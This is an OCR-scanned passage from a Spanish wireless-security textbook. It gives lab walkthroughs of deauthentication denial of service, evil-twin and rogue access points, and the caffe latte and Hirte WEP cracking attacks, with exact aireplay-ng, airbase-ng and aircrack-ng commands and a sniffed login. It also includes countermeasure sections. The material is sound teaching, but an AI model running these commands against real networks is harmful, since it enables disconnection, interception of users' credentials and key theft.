487 6.5195)3  Cisco-Li 05:¢2:30 GeateTe 27:31:66 802.11 38 Deduthentication, SN=102, Fh=0,

488 6.519628  Cisco-Li 08:c2:30 GentekTe 21:31 06 B802.11 39 Desuthent A §
. \

I 201 8 633840, ZemaatFe 3L 00, e o 23
B Frane J16: 30 bylés oh w 3 bit - .
= Radiolap Meader v@, Length 12
= TEEE B02.11 Deauthentication, Flags: ........

Type/Subtype: Deauthentication (owbc)

# Frame Control: OxBOCO (Normal)

Ouration: 314

Destination address: GeatekTe Jf:31:ef fac:81:12:21:31:e0)

Source address: Cisco Ll 05:¢2:30 (c@:iclicD:05:¢2:20)

855 Idv Cisco Ll 05:c2:30 (ciclicO:031¢2:30)

Fragnent nusber: 0

Sequence nuaber: 8

Figura 6.13. Paquetes de desautenticacion capturados por Wireshark
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6. También podemos emplear el punto de acceso para lanzar un paquete
de desautenticacion broadcast. De este modo, todos los ordenadores
registrados en el router se desconectaran (Figura 6.14). Para ello,
escriba aireplay-ng --deauth 0 -a C0:C2:C0:05:C2:30 -h
C0:C2:C0:05: C2:30 monO0.

Figura 6.14. Denegacidn de servicio completa

TRUCO

Tan pronto como un cliente se desconecta, intentara autenticarse de nuevo,
por ello, el ataque ha de mantenerse de forma continuada para conseguir
s | una denegacion de servicio completa.

Los ataques de desvinculacién tienen por objetivo la destruccion de la
conectividad entre la estacion y el punto de acceso. Como resultado, la victima es
desconectada de la red y ya no puede volver a autenticarse en ella mientras dure el
ataque.

Para conseguir realizar este ataque se envia una trama que contiene la
direccion fisica real del PA como direccion de origen y la direccion MAC de la
estacion como destino. Cuando la victima recibe el paquete se desconecta e intenta
conectarse de nuevo, pero si aquella recibe tramas de forma continuada en el tiempo
la reconexion serd practicamente inviable, con lo que la conectividad queda destruida.
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6.5 GEMELO MALVADO

................................................................................................................................................................................

Un gemelo malvado (evil twin) en el campo de las telecomunicaciones hace
referencia a un punto de acceso Wi-Fi no autorizado que aparenta ser legitimo y que,
en la mayoria de los casos, se utiliza para interceptar el trafico de la red. Este ataque
es una de las ofensivas mas poderosas que pueden realizarse sobre una infraestructura
inalambrica. Basicamente, la idea consiste en simular un punto de acceso en el area
de cobertura de una red inalambrica, de modo que distribuya el mismo identificador
de red que el punto de acceso legitimo.

Para favorecer la conexion de la victima a nuestro gemelo malvado, el
hacker bloquea la conexion del punto de acceso originario enviando una fuerte sefial
inalambrica en las proximidades de la victima. Cuando los usuarios se den de alta en
el gemelo malvado y accedan a sus cuentas bancarias o de correo, el hacker tendra
acceso a toda la transmision, pues estos datos se envian desde sus propios equipos.
Asi mismo, el atacante puede redirigir el trafico a otros sitios fraudulentos para que
las victimas se autentiquen y conseguir de esta manera informacion sensible.

Por si esto fuera poco, atin podemos ser mas exquisitos en el ataque y no solo
distribuir el mismo 1dentificador de red, sino hacerlo con la misma direccion MAC
que el PA autorizado. De este modo, el ataque seria realmente dificil de detectar y
mucho mas de impedir.

Generalmente, estos gemelos malvados se establecen en puntos donde
existen redes inalambricas gratuitas, como aeropuertos, cafés, hoteles o bibliotecas.

Veamos de forma préactica como crear un gemelo malvado con la misma
direccion fisica que el punto de acceso legitimo:

1. Conecte a la victima a la red abierta Laboratorio. Lance a continuacion
airodump-ng en un terminal de BackTrack para localizar la direccion
fisica del router (C0:C1:C0:05:C2:30), el canal por el que transmite (9) y
el identificador de red (Laboratorio), como se ve en la figura 6.15.

root@bt: -

Figura 6.15. Pardmetros de conexion de la red Laboratorio
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2. Ahora estamos en condiciones de introducir nuestro gemelo
malvado en el mismo canal. Escriba en un terminal airbase-ng -a
AB:AB:AB:AB:AB:AB --essid Laboratorio —c 4 mon0 (Figura6.16).

Figura 6.16. Creacion de un gemelo malvado con airbase-ng

3. Como verd en la ventana de airodump-ng, aparecen ahora dos PA, uno de
ellos con la MAC que hemos elegido arbitrariamente, que emiten con el
mismo ESSID y por idéntico canal (Figura 6.17).

root@bt: ~

Figura 6.17. Gemelo malvado emitiendo con ESSID Laboratorio

4. Es en este punto cuando comienza lo interesante de la ofensiva. En
primer lugar, lanzaremos un ataque de desautenticacion broadcast para
desconectar a todos los clientes del legitimo punto de acceso (Figura
6.18).
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Desautenticacion broadcast

Figura 6.18. Desautenticacion broadcast

5. Enseguida las estaciones desconectadas intentaran la reconexion y
entonces es cuando nuestro gemelo malvado entra en escena, pues su
red Laboratorio si se encuentra disponible, y si la intensidad de la sefial
es fuerte, los clientes no tendran problemas para asociarse con nuestro
punto de acceso (Figura 6.19).

Figura 6.19. Cliente asociado al gemelo malvado
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6.

Ahora podemos dar un paso mas en la sofisticacion del ataque
clonando la direccion fisica del router originario. Cancele el ataque de
desautenticacion broadcast, abra a continuacion un terminal y escriba
airbase-ng —a C0:C1:C0:05:C2:30 --essid Laboratorio -c
4 mon0 (Figura 6.20).

Figura 6.20. Creacion de un gemelo malvado con MAC clonada

Como puede observar, el cliente aparece asociado ahora a nuestro gemelo
malvado.

Si echa un vistazo a la ventana de airodump-ng vera como es imposible
diferenciar los dos puntos de acceso, pues ambos poseen la misma
direccion fisica, emiten por el mismo canal y con idéntica ESSID (Figura
6.21).

Figura 6.21. Gemelo malvado conviviendo con el legitimo PA

6.5.1 Contramedidas

Aunque hasta la fecha no se ha informado de ataques a gran escala por el
uso de gemelos malvados, es una amenaza que los administradores de redes debieran

considerar.
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La Alianza Wi-Fi recomienda a todos los usuarios de las redes inaldmbricas
que empleen las mismas medidas de precaucion que se aconsejan para cualquier
red. Asi, siempre es recomendable cambiar las contrasefias de forma regular, no
responder a correos electronicos y buscar conexiones seguras.

En general, los usuarios domésticos de redes inalambricas debieran tomar
las siguientes medidas de precaucion:

¥ Comprar productos Wi-Fi certificados para WPA/WPA2.

W Activar siempre los algoritmos WPA o WPA2 para proteger su red y
emplear contrasefas robustas. WEP es insegura.

¥ Establecer como nombre de red un identificador Ginico, en vez de dejar el
valor por defecto. Esto evitara que inadvertidamente pueda conectarse a
un punto de acceso no autorizado que emita un nombre de red idéntico.

En los puntos de acceso Wi-Fi publicos, emplee al menos una de las
siguientes medidas:

V' Acceda a redes conocidas a través de conexiones SSL (https).
Generalmente, el navegador mostrard un candado. Para cerciorarse de
que estamos empleando una conexiOn segura revise el certificado digital
de la pagina.

P Emplee herramientas que le permitan establecer redes privadas virtuales.
Si no es posible, piense en la conveniencia de desactivar la interfaz
inalambrica de su dispositivo.

P En caso de que no quede otro remedio, emplee alguna herramienta
software que cifre su informacion antes de enviarla a través de Internet.

W Utilice puntos de acceso que empleen conexiones WPA/WPA2, que ya
poseen mecanismos para asegurar que la red que usamos es auténtica.

¥ Desactive las interfaces inalambricas de red de sus dispositivos si no
planea utilizarlos.
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6.6 PUNTO DE ACCESO NO AUTORIZADO

................................................................................................................................................................................

Un punto de acceso no autorizado es aquel que no esta legitimado para
prestar un servicio dado. Su nombre en inglés, rogue (picaro), ya deja claras las
intenciones de estos puntos de acceso. Generalmente, se emplean como puertas
traseras, de modo que puedan sortear las distintas medidas de seguridad de la red y,
por ese mismo hecho, tradicionalmente se ponen sin encriptacion, en abierto.

Para introducir un punto de acceso no autorizado tenemos dos posibilidades:

V' Instalar un router fisico en la red en la que queremos montar la puerta
trasera, lo que requiere tener acceso fisico a la misma.

¥ Crear un punto de acceso mediante herramientas software y asociarlo a
la red local, de modo que cualquier portatil autenticado en la red pueda
funcionar como un punto de acceso no autorizado.

Veamos como crear experimentalmente un punto de acceso no autorizado
con las herramientas de BackTrack:

1. Abraunterminal y escriba airbase-ng --essid noAutorizado -c
4 mon0 para crear el punto de acceso (Figura 6.22).

root@bt: ~

Figura 6.22. Creacidn de un PA desde BackTrack

Como no le hemos asociado ninguna direccion fisica, BackTrack le
adjudica la MAC de la propia interfaz inalambrica. Si desea ponerle otra
distinta, escriba —a <MAC> como opcidn de airbase-ng.
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2. Ahora tenderemos un puente entre la interfaz de red Ethernet autorizada
(eth0) y nuestro punto de acceso fraudulento (Figura 6.23). Para ello,
crearemos primero un puente de nombre puenteWiFi mediante el
comando brctl addbr puenteWiFi:

Figura 6.23. Creacion de un puente

3. A continuacién, le afladiremos la interfaz cableada eth() y la virtual at0
creada por airbase-ng (Figura 6.24).

root@bt: ~

Figura 6.24. Adicion de interfaces al puente

4. El paso siguiente serd poner en marcha el puente haciendo lo propio con
sendas interfaces (Figura 6.25).

Figura 6.25. Puesta en marcha del puente
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5. Por ultimo, para asegurarnos de que los paquetes dirigidos a nuestro punto
de acceso se redirijan por la red cableada de nuestra maquina atacante,
tendremos que activar el reenvio IP en el kernel del sistema operativo
(Figura 6.26). Para ello, escriba en la consola echo 1 > /proc/sys/
net/ipv4/ip forward.

root@bt: ~

Figura 6.26. Reenvio de paquetes a través del puente

6. Desde este momento, cualquier estacion inalambrica que se conecte a
nuestro punto de acceso fraudulento tendra acceso completo a Internet a
través del puente inaldmbrico-cableado que acabamos de crear. Una vez
realizada la conexidn, verd en el Centro de redes y recursos compartidos
de Windows 7 una pantalla como la siguiente (Figura 6.27).

:[ﬁﬁu-m v Centro de redes y recursos compartidos 'I"p” Buscar en el Panel de contred

:m princpal delPanelde 0 informacion bisica de la red y configurar conexiones

Cambiar configuracion del o DAVID-PORTATIL Varnias redes
adaptador (Este equipe)

Cambiar configuracion de uso Ver las redes activas Conectar o desconectar

compartido avanzado
Nl Tipo de acceso:  Intermnet
Conexiones: il Conexidn de ted inalimbeica
el {noAutorizedo)

Identificad Tipo de scceso:  Sin acceso  la red
m'.'“. Conexiones: | VirtualBox Host-Only

Cambiar la configuracion de red

? Configurar una nueva conexén o red

" Configurar una conexidn inalambrica, de banda ancha, de acceso telefonico, ad hoc o VPN o bien
configutar un enrutador o punto de acceso.

Figura 6.27. Conexion de Windows al PA creado por airbase-ng
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7. Como vemos en el detalle de la conexion inalambrica, la victima ha
recibido la direccion 1P 192.168.1.101 del demonio DHCP que se ejecuta
en la red autorizada (Figura 6.28).

i 4 i : X = =
«ill Estado de Conexién de red inalémbrica M R i W O M
G "
s Detales de s conexén de red
Conexion Propeedad Valor -
Conectividad IPv4: Descripcion Adaptador Wi-Fi Broadcom 4313GN 8(
Conectrvidad [Pv: S acceso 8 la red Dwecodn fisca AC-81-12:2F-31-E6
Estado del medio: Habiitado Habitado para DHCP Si
SSID: Direccidn IPvd 192.168.1.101
F T Méscars de subeed IPvd 255 255.255.0
Velocdad: 5,5 Mbos Concesidn obtenida midecoles., 04 de pbio de 2012 18:10.1:
1 La concesidn expira es, 05 de julo de 2012 18:50.37
Calidad de sefial: ,!ﬂ. Puerta de enlace predel y

Servidor DHCP IPv4 15216811
e | | PH 3
Oetales. pidades ablerdyices Senvidores DNSIPvd  80.58.61.250
ACtridad 805861.25¢
- 19216811
Enviados ‘_n! b Recbdos Senvidor WINS 1Pvd
il Habitado para NetBios .. Si
Bytes: 3.293.1%6 31.032.486 Vinculo: dreccidn IPvEL.. fe80:&8:704c7248: ¥8% 11 ‘
Fuerta de enlace predet - |
Propiedades | | %y/Deshabiitr | | Diagnosticar 2 z = ‘

Cerrar
Cerrar |

Figura 6.28. Caracteristicas de la conexidn

8. Si lo desea, puede comprobar la conectividad enviando un ping a la
puerta de enlace predeterminada (Figura 6.29).

B C\Windowi uyitem3Biomes ewe i) e S

Figura 6.29. Conexion satisfactoria a través de la red autorizada

Como ve, estos puntos de acceso no autorizados son una doble amenaza
para la seguridad de las redes. Por un lado, toda maquina que se conecte a aquellos
podra acceder a cualquier cliente de la red cableada. Por otro, toda actividad que se
realice en la red inalambrica podra ser monitorizada. Vea, por ejemplo, en la Gltima
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linea del panel de detalles de Wireshark, que hemos obtenido el usuario, golden34
y la contrasefia, 7834dR, cuando el cliente se ha autenticado en el sitio Attp.:/www.

davidarboledas.es (Figura 6.30).

Accept: text/htal, application/xhtalexml, */*\r\n
Referer: http://www. davidarboledas.es/\r\n
Accept-Language: es-ES\r\n
user-Agent: Mozillas5.0 (compatible; MSIE 9.0; Windows NT 6.1; Winéd; x64; Tridents5.0)\r\n
Content-Type: application/x-www-form-urlencoded\rin
UA-CPU: AMDGA\T\N
Accept-Encoding: gzip, deflate\r\n
Host: www.davidarboledas.es\r\n
Content-Length: 39\r\n

[Content length: 39)
Connection: Keep-Alive\r\n
Cache-Control: no-cache\r\n
\r\n

!

- Line-based text data: application/x-www-form-urlencoded

usuario=goldenldkpassword=7834dREenvio=

% 2 3,132510 192.168.1.101 85.238.8.149 HTTP 515 POST /login.php HTTR/1.1 (application/x-www-form-urlenco
s = c v 4 T

010 6e 6f 20 63 61 63 68 65 0d 0a 0d Oa

0led 69 6f 3d 67 6f 6c 64 65 6e 33 M
6f 72 64 34 37 38 33 34 64

34}

Figura 6.30. Captura de informacidn sensible a través del puente

6.6.1 Contramedidas

Veamos ahora qué contramedidas sugiere la Alianza Wi-Fi para defendernos

de puntos de acceso no autorizados:

v Utilice solamente productos certificados Wi-Fi para WPA/WPA2.

v

v

Emplee siempre que sea posible un cifrado WPA2-AES (CCMP) en sus
conexiones a redes inalaimbricas.

Renombre las redes por defecto para que su nombre sea tnico y signifique
algo, de este modo evitara conectarse a accesos no autorizados que
empleen nombres similares.

Si emplea puntos de acceso en aeropuertos, hoteles o cafés, utilice
conexiones seguras SSL (https).

Use redes privadas virtuales siempre que le sea posible y en caso de que
no quede otro remedio, emplee alguna herramienta software que cifre su
informacion antes de enviarla a través de Internet.

Desactive su tarjeta inalambrica si no planea utilizar una conexion
inalambrica.
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6.7 AUTOEVALUACION 6

W Si deseamos utilizar la aplicacion Hydra para probar en el servidor fip://
Jip.unimg.es/ si las credenciales mjoregon y asy4D2# son correctas,
{como lo haria?

P (Cual es la funcion principal de los ataques de desautenticacion?

¥ (Como fabricamos un punto de acceso que emita por el canal 9 una red
de nombre “Wi-Fi gratis™?

¥V ;Qué protocolo de cifrado suelen emplear los puntos de acceso no
autorizados?

¥ Cite al menos una medida que utilizaria en un aeropuerto si va a emplear
su red inalambrica gratuita.



OFENSIVAS CONTRA EL CLIENTE

Una de las peculiaridades de las redes inalambricas es que es posible realizar
ataques que comprometan la seguridad de la infraestructura simplemente llevando
las acciones ofensivas al cliente, bien sea este una maquina conectada a una red, bien
un ordenador aislado, sin conexion.

Uno de los vectores mas efectivos contra clientes de redes inalambricas es la
creacion de falsos puntos de acceso o de gemelos malvados, que en esencia parten
de los mismos conceptos, dado que es relativamente facil engafiar a un cliente para
que utilice un determinado punto de acceso.

La diferencia entre el ataque del gemelo malvado y la creacion de falsos
puntos de acceso es simple. El primero se caracteriza por ser un ataque dirigido,
mientras que la creacion de falsos puntos de acceso con un portal clonado, sin ningun
tipo de mecanismo de autenticacion, es un ataque abierto y pasivo, dado que no se
ejecuta contra ningun cliente concreto, solamente se espera a que alguien quiera
utilizar un punto de acceso sin ningun tipo de autenticacion.

7.1 ASOCIACIONES ERRONEAS

................................................................................................................................................................................

Cuando el adaptador inalambrico de un dispositivo se encuentra encendido,
siempre probard a conectarse, aun en ausencia de puntos de acceso, a las distintas
redes almacenadas en las Listas de Redes Preferidas.

Las asociaciones erroneas son vulnerabilidades de la seguridad inalambrica
que aparecen como consecuencia de la conexion de un cliente a un PA cercano que no
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resulta ser el legitimo. Estas conexiones pueden producirse con o sin consentimiento
del propietario del dispositivo.

Hay muchos desencadenantes que pueden favorecer estas asociaciones:

¥ Clientes con configuraciones erroneas.

¥ Problemas de cobertura.

V' Clientes aislados.

PV Redes con nombres y configuraciones atractivos, conocidas como
honeypots y disefiadas especificamente para atraer a incautos.

En estas situaciones, pueden ponerse en marcha dos tipos de estrategias:

1. Crear un punto de acceso con el mismo identificador ESSID que el que la
maquina cliente busca para conectarse legitimamente.

2. Levantar un punto de acceso con un identificador idéntico a cualquiera de
los que existen en el area de cobertura en el que se encuentra el cliente,
para que, en la confusion, pueda conseguirse alguna asociacion con la
méquina atacante. Este es el ataque mas sencillo de realizar en zonas de
cobertura Wi-Fi gratuita, como aeropuertos o cafeterias.

Veamos, de forma practica, como realizar ambos ataques:

1. Asegurese de que en su maquina Windows se encuentra almacenada
la red abierta Laboratorio, la misma que ya hemos usado en muchas
ocasiones. Puede verlo en el Administrador de redes, como se observa
en la figura 7.1.

@@-Ia » Panel de control » Redes eintemnet b Administrar redes inalimbricas v | 4 M Buscar Adminitrar redes inaitmbincas 9 |

Administrar redes inaldmbricas que usen [Conexidn de red inaldmbrica)

Windows intenta conectarie a estas redes en ef orden que sparece a continuacion.

Agreger  Quitar  Bajar  Propiedades del acdaptador  Tipos deperfil  Centro de redes y recurnos compartidos [}
Redes que puede ver, modificar y recrdenar (1) -
= Laborstorio Segundatk Nec teguco Tipe Cuslguiera compatible Conmasdn automitica
5.
= -
5 Laboratorio Nombee del parfil: Laboratoric Tipo de radic: Cualquiera compatible
- Tipo de segundsd: No seguro Modo, Conexion automitica

Figura 7.1. Administrador de redes de Windows 7
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En caso de que no sea asi, conecte de nuevo el portétil a dicha red para
que la almacene en la Lista de Redes Preferidas.

. Cree ahora una red de nombre nuevaRed con las caracteristicas que

desee. Conecte la victima a la red para que almacene su configuracion.

. Apague su router y lance Wireshark en la maquina atacante para escuchar

todo el trafico de red por la interfaz mon0.

. Aplique el filtrowlan. fc.type subtype == 0x04 && wlan.sa ==

AC:81:12:2F:F1:E6 para analizar solo las tramas de peticion (Probe
Request) de la victima (Figura 7.2).

Broadcast

302.11 Probe Request, SN=3, FN=8, Flags=........ . SS1D=nuevaRed
Broadcast 802,11 Probe Request, SN=4, FN=8, Flags=........ €. SS5ID=nuevaRed
Broadcast 882.11 Probe Request, SN=7, FN=8, Flags=........ C, SSID=nuevaRed
Broadcast 802.11 Probe Request, SN=8, FN=0, Flags=........ C. SSID=nuevaRed
Broadcast 802.11 Probe Request, SN=69, FN=0, Flags=........ C, SSID=nuevaRed
Broadcast 802.11 Probe Request, SN=70, FN=0, Flags=........ C, SSID=nuevaRed
Broadcast 802.11 Probe Request, SN=71, FN=8, Flags=........ C, SSID=nuevaRed
Broadcast 802.11 Probe Request, SN=73, FN=0, Flags=........ C, SSID=nuevaRed
Broadcast 802.11 Probe Regquest, SN=74, FN=8, Flags=........ C, SS5ID=nuevaRed
Broadcast 802.11 Probe Request, SN=47, FN=8, Flags=........ C, SSlD=Laboratorio
Broadcast 802.11 Probe Request, SN=48, FN=0, Flags=........ C, SSID=Laboratorio
Broadcast 862.11 Probe Reguest, SN=51, FN=6, Flags=........ C, SSID=Laboratorio
Broadcast 802.11 Probe Request, SN=52, FN=0, Flags=........ C, SSID=Laboratorio

Figura 7.2. Captura de las tramas de peticion del cliente

Como observa en la imagen anterior, el cliente esta intentando asociarse
con las redes nuevaRed o Laboratorio aun en ausencia de PA.

5. Abra un terminal en BackTrack y cree un falso punto de acceso para la

red Laboratorio con el comando airbase-ng - e Laboratorio -c
9 mon0 (Figura 7.3).

root@bt: ~

Figura 1.3. Creacion de un falso punto de acceso con airbase-ng
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6. En menos de un minuto deberia observar como la victima <MAC> se
conecta a su punto de acceso (Figura 7.4).

root@bt: ~

Figura 7.4. Conexion de la victima con el falso PA

ADVERTENCIA DE SEGURIDAD
Desactive la conectividad Wi-Fi de su portatil, movil o tableta en lugares
‘ l publicos cuando no vaya a usar esta caracteristica.

Ahora vamos a poner en practica la segunda ofensiva, es decir, aquella
situacion en la que ya existe un punto de acceso legitimo, como el que encontramos
en medios de transporte, hoteles, cafeterias, etc.

1. Encienda de nuevo su router si no lo hizo ya, active la red Laboratorio
en el canal que desee y permita que el cliente se autentique en la misma,
como puede comprobar con airodump-ng (Figura 7.5).

root@bt: ~

Figura 7.5. Cliente asociado a su legitimo punto de acceso
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2. Ahora levante un falso punto de acceso con el mismo nombre mediante el
comando airbase-ng -e Laboratorio -c 9 mon0 (Figura 7.6).

6B started.... |

Figura 7.6. Creacion del falso punto de acceso

3. Compruebe como la victima sigue conectada a su legitimo punto de
acceso (Figura 7.7).

Figura 7.7. Cliente conectado a su legitimo punto de acceso

4. Ahora lance un ataque de desautenticacion broadcast en nombre del
legitimo punto de acceso para interrumpir la conexion. Para ello, escriba
enunterminal aireplay-ng --deauth 0 —a C0:C1:C0: 05:C2:30
mon0 (Figura 7.8).
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root@bt: ~

EER R B

Figura 7.8. Ataque de desautenticacion broadcast

5. Si consigue en este instante que la potencia de la sefial de su falso punto
de acceso sea mayor que la del legitimo (lo que puede simular ahora
apagando el router), entonces, el cliente se conectard a su maquina.
Vea como en la ventana abierta en el punto 2 aparece la asociacion

(Figura 7.9):

Figura 7.9. Unidn del cliente al falso punto de acceso
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6. Puede verificar también que se ha producido la asociacion del cliente con
nuestro falso punto de acceso en el terminal de airodump-ng que abrio en
el punto 1, como se ve en la imagen siguiente (Figura 7.10):

Figura 7.10. Cliente asociado con la maquina atacante

1.2 ATAQUE CAFFE LATTE

Como hemos visto en paginas anteriores, el hecho de que un cliente se haya
conectado previamente a una red, permite que el sistema operativo pueda almacenar
los nombres de red y sus contrasefias. De este modo, cuando el ordenador se
encuentre en el area de cobertura de una de las redes almacenadas, podra conectarse
automaticamente a la misma.

El ataque caffe latte es un tipo de ofensiva que permite a un atacante recuperar
la contrasefia WEP de una red en un cliente aislado. Se trata de una vulnerabilidad
que apareci6 en el afio 2007 y rompid el paradigma que existia hasta ese momento
sobre la necesidad de que un atacante se encontrara cerca del PA para conseguir
romper una clave WEP. El atacante no necesitara sefial alguna del router para que
aquel pueda perpetrar ataques contra el cliente.

Esta ofensiva consiste, por tanto, en la capacidad que tienen algunos
ordenadores portatiles y terminales moviles de realizar conexiones de forma
automatica contra un PA conocido almacenando internamente la clave WEP para
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realizar la conexion. En este orden de ideas, un atacante que conozca el SSID del
PA que frecuentemente utiliza un determinado cliente, puede crear un falso punto
de acceso con ese mismo identificador de red. De este modo, el cliente realizara la
conexion con el falso punto de acceso creyendo que se trata del original. El falso
PA del atacante recibird en este momento una peticién de autenticacion, a la que
responderd con cualquier reto. Independientemente de la respuesta que envie el
cliente sobre dicho reto, el PA le reenviard un paquete de “autenticacion valida”
y, posteriormente, se realizara el intercambio de los correspondientes paquetes de
asociacion. Si, como ocurre en el mecanismo de cifrado WEP, no existe un modelo
de autenticacion mutua, el cliente no puede garantizar en ningin momento que el PA
es quien dice ser.

Hasta aqui lo tnico que hemos conseguido como atacantes es que un cliente
se autentique con un falso punto de acceso y le envie paquetes cifrados con una clave
WEP desconocida para nosotros. Justo en este punto es donde realmente entra en
juego el ataque caffe latte, el cual se lleva a cabo en los siguientes pasos:

1. El cliente enviard un paquete DHCP solicitando una nueva direccion IP
valida, tenga o no el PA un servicio DHCP asociado y en ejecucion.

2. Suponiendo que el PA no cuente con un servicio DHCP en ejecucion, las
peticiones enviadas por el cliente para que se le asigne una direccion 1P
terminaran en un 7imeout, con lo cual el cliente se vera obligado a utilizar
una direccion [P estdtica por medio del servicio de autoconfiguracion de
red del cliente.

3. Hay que informar al PA de la direccion IP estatica que el cliente selecciona
para evitar inconsistencias con otros clientes en el mismo segmento de
red, por este motivo el cliente, de forma automatica, le envia un mensaje
cifrado Gratuitous ARP para notificar la nueva la direccion que ahora usaré
el cliente. Como debe recordar, lo tinico que se necesita para romper una
clave WEP son paquetes cifrados con la clave compartida. Una vez que
se recuperan suficientes paquetes, es posible intentar reventar la clave.
Sabiendo esto, la metodologia del ataque caffe latte intenta inyectar este
paquete ARP recibido por el cliente y posteriormente reinyectarlo en la
red un numero indefinido de veces. Cuando se tengan suficientes vectores
de inicializacion (IV) como consecuencia del proceso de reinyeccion del
paquete ARP, se puede proceder a romper la clave con la herramienta
aircrack-ng.
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Veamos lo facil que es realizar el ataque de forma practica teniendo solo
acceso inalambrico a la victima:

1. Configure en el canal 6 una red inalambrica WEP de nombre Caffe Latte
y protéjala con la contrasefia que desee (Figura 7.11).

~

Parametros inaldmbricos de od de redt St Wiekss 0[]

Seguridad inaldmbiica
WEP =]

de 2.4 GHz

Encriptacion 104/125 bés (28 digtos hexadecemsies) [

Frase de paso. :]“‘-"

Clave 1 ABCDEFQ123458T8SABCDEFO1

Figura 7.11. Configuracion de una red WEP en el canal 6

2. Conecte la victima a esta red y verifique que la conexion se ha establecido
con éxito (Figura 7.12).

S

Conectado actualmente a: 4
Caffe Larte
Acceso a Internet
Conexidn de red inalambrica -
Caffe Latte Conectado ﬂ*
WiFi872378 "
Qrange-adbd
Comtrend d'd
Alexandra_wifi ,_ﬂﬂ
JAZZTEL TS i
Abrir Centro de redes y recursos compartidos

Figura 7.12. Equipo conectado con la red WEP
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3. Desconecte el router de la red eléctrica para simular una situacion en la
que el cliente tiene encendido el adaptador de red pero no esta conectado
a ninguna red inalambrica. Ahora puede comprobar con airodump-ng
como la victima ya esta aislada (Figura 7.13).

« back | track [

Figura 7.13. Futura victima aislada

L

4. Cree ahora un falso punto de acceso de nombre Caffe Latte con el
comando airbase-ng -c 6 —a 00:11:22:33:44:55 -e “Caffe
Latte” -L -W 1 mon0.Laopcion -L (--caffe-late’) permite
llevar a cabo dicho ataque (Figura 7.14).

Figura 7.14. Creacion del falso PA para lanzar el ataque caffe latte

5. En el momento en que el cliente se conecte a la maquina atacante,
automaticamente comenzara el ataque caffe latte, como puede ver en la
Imagen siguiente:
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) 5 ctarted. |
0 _ESS

)

C

o)

Figura 7.15. Inicio del ataque caffe latte

6. Abra un nuevo terminal y escriba airodump-ng --bssid
00:11:22:33:44:55 --write caffelatte mon0 para almacenar los
paquetes transmitidos entre victimay atacante en el fichero caffeLatte-01.cap.

7. Abra un tercer terminal y permita que aircrack-ng comience a recuperar
la clave WEP. Para ello, escriba aircrack-ng caffelatte-01.cap.

8. Cuando se tengan los suficientes paquetes, aircrack-ng revelara la
contrasefia, como vimos en situaciones anteriores (Figura 7.16).

root@bt: ~

KEY FOUND!' [AB:CD:EF:0

Figura 7.16. Contrasefia WEP recuperada con el ataque caffe latte
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1.3 ATAQUE HIRTE

Una vez comprendido como funcionan los ataques por fragmentacion y caffe
latte, no se tendran mayores problemas en entender este tipo de ataque, ya que en
realidad, el ataque Hirte, es simplemente una combinacion de ambas técnicas, pero
con una tasa de éxito mucho mayor que usando de forma aislada cada uno de los
anteriores.

El mecanismo de actuacion es bastante sencillo. En primer lugar, se crea un
falso punto de acceso para esperar a que un cliente envie un paquete ARP o paquete
IP. Este se convertira en una peticion ARP que se dirige contra el mismo cliente, de
forma tal que la direccion IP contenida en el paquete capturado es relocalizada en
la cabecera del paquete ARP que se estd creando. Para este fin se utiliza el ataque
por fragmentacién ya estudiado con anterioridad. Este ataque, si recuerda, se basa
en el hecho de que los primeros § bytes del paquete cifrado son conocidos. Asi pues,
un atacante puede aplicar la funcion XOR al texto plano y al paquete cifrado para
obtener los 8 primeros bytes de la secuencia pseudoaleatoria RC4 que produce el
criptograma. Ahora ya puede usarse esta secuencia, junto con el vector de iniciacion
adecuado, para construir paquetes cifrados. Posteriormente, una vez construido
dicho paquete con cada uno de los fragmentos generados, se procede a dirigirlo hacia
el cliente, dado que en la cabecera del paquete ARP se encuentra su direccion IP.
Cuando llegue a su destino, el cliente respondera informando de que efectivamente
la direccion IP indicada es la suya y la respuesta sera simplemente un paquete ARP
de respuesta (ARP Response). Ahora bien, todo este proceso de envio y recepcion
se debe repetir de forma continua hasta que el atacante considere que ha podido
recolectar suficientes paquetes como para romper la clave WEP.

Como se puede apreciar, este ataque no es novedoso en si mismo, ya que
aprovecha algunas de las técnicas de ataque existentes. Por otro lado, el proceso de
retransmitir de forma constante un paquete ARP a un cliente es algo que se realiza
muy frecuentemente en ataques contra redes con cifrado WEP.

Veamos como realizar de forma préctica sobre una maquina aislada el
ataque Hirte.

1. Cree en BackTrack un punto de acceso tal y como hicimos para el ataque
caffe latte. La tinica diferencia es que debemos emplear la opcion -N en
vez de -L.



© RA-MA Capitulo 7. OFENSIVAS CONTRA EL CLIENTE 181

2. Lance airodump-ng en un terminal diferente para capturar en un archivo
los paquetes transmitidos entre la victima y nuestro falso punto de acceso
(Figura 7.17).

Figura 7.17. Captura de paquetes en el fichero Hirte-01.cap

3. Enseguida se comenzaran a almacenar los paquetes en el fichero
Hirte-01 .cap.

4. Apague el router para simular una situacion real en la que la victima esta
aislada. En unos instantes vera como esta se conecta a nuestro falso punto
de acceso y se lanza automaticamente el ataque Hirte (Figura 7.18).

Figura 7.18. Ataque Hirte en marcha
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5. Una vez que haya capturado al menos 30.000 paquetes, podra lanzar
airckrack-ng en un nuevo terminal para recuperar la clave WEP de la red
(Figura 7.19).

root@bt:

hack | track [=

Figura 7.19. Contrasefia WEP obtenida por el ataque Hirte

7.4 OBTENCION DE CLAVES WPA/WPA2 SIN PUNTOS DE ACCESO

Una vez que hemos sido capaces de recuperar las claves WEP teniendo
solamente acceso a un cliente, la primera pregunta que se nos viene a la cabeza es
si podriamos hacer lo mismo con las claves WPA. La respuesta es si, aunque es un
proceso bastante mas complejo.

Ya en el Capitulo 4 vimos como recuperar claves WPA/WPA2-PSK
mediante aircrack-ng. La idea fundamental era que se necesitaba tener acceso a la
autenticacion en cuatro pasos antes de poder lanzar un ataque por diccionario, como
observa en la figura 7.20.

Ahora bien, dado el funcionamiento del algoritmo PBKDF2 y la forma en la
que se generan las claves PSK, a dia de hoy atuin no es posible determinar cuales son
las frases de paso utilizadas para la creacion de las mismas; ademas, es un mecanismo
que requiere autenticacion mutua. A diferencia de lo que ocurria con WEP, si tanto
el cliente como el punto de acceso (en nuestro caso la maquina atacante) no tienen
la misma clave PSK, la conexion es interrumpida por alguna de las partes mediante
un paquete de desautenticacion. De esta forma, ya no es posible crear un gemelo
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malvado que sea valido para un cliente determinado si antes no conocemos la clave
PSK que tiene el cliente.

Cliente PA

PSK
256 bit

poot

Sn
W‘ Deriva PTK
_MIC OK?

\¥]
‘W
JMIC OK?
W‘

Figura 7.20. Autenticacion WPA/WPA2-PSK

